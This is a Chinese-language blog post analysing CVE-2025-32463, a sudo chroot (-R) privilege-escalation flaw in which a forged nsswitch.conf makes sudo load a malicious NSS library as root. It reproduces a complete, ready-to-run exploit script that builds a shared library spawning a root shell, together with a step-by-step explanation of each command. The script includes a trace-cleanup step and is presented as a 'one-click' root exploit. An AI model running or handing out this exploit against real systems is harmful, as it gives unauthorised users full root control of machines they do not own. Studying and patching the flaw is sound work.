CVE-2025-32463的解析(附poc及其解析)

1️⃣ 背景:

这个漏洞原理主要就是利用sudo的一个-R/--chroot选项

那么这个选项是干什么的呢?

从1.9.14版本的sudo开始,便引用了-R(–chroot)选项,本意是是用来让用户通过该选项指定chroot的目录下执行具有root权限的命令,保证执行环境的隔离。

2️⃣ 核心

那漏洞点就来了,因为sudo在解析与sudoers的相匹配的命令之前会先进入一个我们可以控制的chroot环境,也就是我们-R指定的目录下。而当我们在这个目录下写一些恶意的配置文件如:
  • /etc/nsswitch.conf
  • 恶意 libnss_*.so 动态链接库
  • /etc/passwd, /etc/group

当sudo解析用户、组、主机名等权限进行匹配 glibc NSS(Name Service Switch) 时,会触发 **glibc NSS(Name Service Switch)**机制我们写在该目录下的恶意动态库,从而实现提权。

具体流程如下:

  • 执行 sudoers 检查之前,需要解析用户信息。
  • 用户信息解析依赖 getpwnam() 等 glibc 函数。
  • glibc 根据 /etc/nsswitch.conf 加载 libnss_* 动态库。
  • 因已进入可控 chroot 环境,因此加载了用户伪造的恶意库。
  • 恶意库在加载时即在 root 权限下执行任意代码。
  • 从而无需匹配 sudoers,即可直接执行任意代码。

本质是:**NSS**** 模块加载在 **root** 权限且在 **sudoers** 检查之前触发,因此造成绕过权限控制的提权。**

一键提权exp

脚本来源于[https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot](https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot)

可以看到,很丝滑,一键提权 _

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?} ##清理痕迹

我们来解析一下这个exp

第一部分

```bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 ```
  • /tmp 创建一个临时工作目录用于放置攻击文件,避免污染系统。
  • 进入该目录进行后续操作。

```bash cat > woot1337.c<

attribute((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir(“/”);
execl(“/bin/bash”, “/bin/bash”, NULL);
}
EOF


这个就是写的一个恶意的NSS动态库,其中设置了权限` setreuid(0,0); setregid(0,0);  `为root,后面就是切换工作目录为/ 最后获得一个root权限的shell。`__attribute__((constructor))` 修饰的 `woot()` 在库被加载时立即执行  

<h1 id="kvHSe">三</h1>
```bash
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc

这里就是构造了一个chroot环境

  • woot/etc:模拟 chroot 环境的 /etc/
  • libnss_:用于存放伪造的 NSS 动态库。

伪造的 nsswitch.conf

echo "passwd: /woot1337" > woot/etc/nsswitch.conf

指定在解析 passwd 时优先加载 libnss_woot1337.so.2

注意:/woot1337 被解释为 libnss_/woot1337.so.2(glibc NSS 加载机制会在前缀后自动补全 libnss_<name>.so.2

最后就是编译写好的NSS动态库
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
  • -shared: 生成共享库。
  • -fPIC: 生成位置无关代码。
  • -Wl,-init,woot: 链接器选项,执行 woot() 函数时自动运行(与 constructor 功能类似,双保险)。

此动态库在被加载时立即执行 woot(),提权并执行 /bin/bash

最后就是执行exploit

```plain echo "woot!" sudo -R woot woot ```

-R woot → 切换根目录至当前目录下的 woot/

执行命令 woot(此处 woot 可不存在,因为漏洞点在于执行前会加载 NSS

总结触发的流程

**触发流程:**
  1. Sudo 以 root 权限进入 chroot(此时路径为攻击者可控的 woot/)。
  2. woot/etc/nsswitch.conf 中配置优先使用 /woot1337 NSS。
  3. glibc 在解析用户信息时加载可控路径 libnss_/woot1337.so.2
  4. 恶意动态库被加载,执行 woot()提权并启动 **/bin/bash** 以 root 权限运行
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值